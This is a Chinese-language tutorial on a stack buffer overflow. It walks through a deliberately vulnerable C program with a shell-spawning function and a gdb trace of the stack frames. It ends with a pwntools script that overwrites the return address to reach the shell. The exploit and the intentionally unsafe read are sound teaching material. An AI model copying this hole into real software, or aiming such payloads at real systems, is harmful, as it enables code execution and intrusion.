栈溢出例子详细分析

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

1	gcc -z execstack -no-pie -z norelro -fno-stack-protector test.c -o test

从main函数断点开始，状态如下：

执行过push rbp之后，rsp先向低地址移动8字节指向了0x7fffffffe010处，然后在该地址处，赋值为rbp寄存器的值，高地址在高位，低地址在低位。
执行过mov rbp, rsp之后，此时rbp指向了rsp的位置，rbp为0x7fffffffe010
执行过mov eax, 0之后，rax的低32位，此时为0
执行call func之前，rdi rsi rdx rcx分别为上图所示；执行过该条语句之后，rsp先向低地址移动8字节指向了0x7fffffffe008，然后将该条语句之后的指令地址赋值给此处，即0x4011ae (main+18)表示指令mov eax, 0；此时rip指向了func函数
执行过push rbp之后，rsp向低地址移动8字节，值为0x7fffffffe000，此时在该地址处，赋值为rbp寄存器的值，高地址在高位，低地址在低位，入栈的值为0x7fffffffe010，此时mian函数的栈帧为也就是栈中存了两样东西，一个是0x4011ae (main+18)为指令地址，另一个是指向栈低rbp的值，为0x7fffffffe010
接着执行过mov rbp, rsp之后，正式标志着离开了main函数的栈帧，来到了func函数的栈帧
接着执行sub rsp, 0x20之后，为变量预留了32位字节的空间，rsp为0x7fffffffdfe0；在func的栈帧中出现了一些看不懂的东西，栈帧如下
执行lea rax, [rbp - 0x20]之后，rax的值变为了此时rsp指向的值，即为0x7ffff7fb62e8 (__exit_funcs_lock)
执行mov edx, 0x50之后，就如下
执行mov rsi, rax之后，此时就是在为read函数调用做准备，
read 函数调用
让我们把相关的寄存器和参数对照起来看一下：
1
ssize_t read(int fd, void *buf, size_t count);
- int fd：文件描述符，由 edi 寄存器传递。
- void *buf：缓冲区地址，由 rsi 寄存器传递。
- size_t count：读取字节数，由 edx 寄存器传递。
n指令，单步补过，输入字符，此时状态如下：
nop是一个占位符，
leave指令，清理栈帧，相当于mov rsp rbp 和 pop rbp
ret指令，从当前函数返回到调用该函数的位置，作用是从栈中弹出返回地址，加载到指令指针rip中，跳转到rip指向的地址，继续执行调用函数后面的代码，相当于pop rip
这是leave之前的栈帧，
这是leave之后的栈帧，寄存器改变

此时为了发送payload进行调试，我们用pwntools运行程序，gdb调试这个进程

from pwn import *
context.terminal = ['bash', '-e', 'sh', '-c']


p = gdb.debug("/home/pwn/02eeepwn/test","break main")
a = input("a:")
# p = process(11370)
offset = 0x20
offset2 = 0x8
payload = b'a' * offset + b'b'* offset2 + p64(0x401171)+p64(0x401156)
# payload = b'a' * offset +p64(0x401156)
print(payload)
p.sendline(payload)
# p.interactive()
b = input("b:")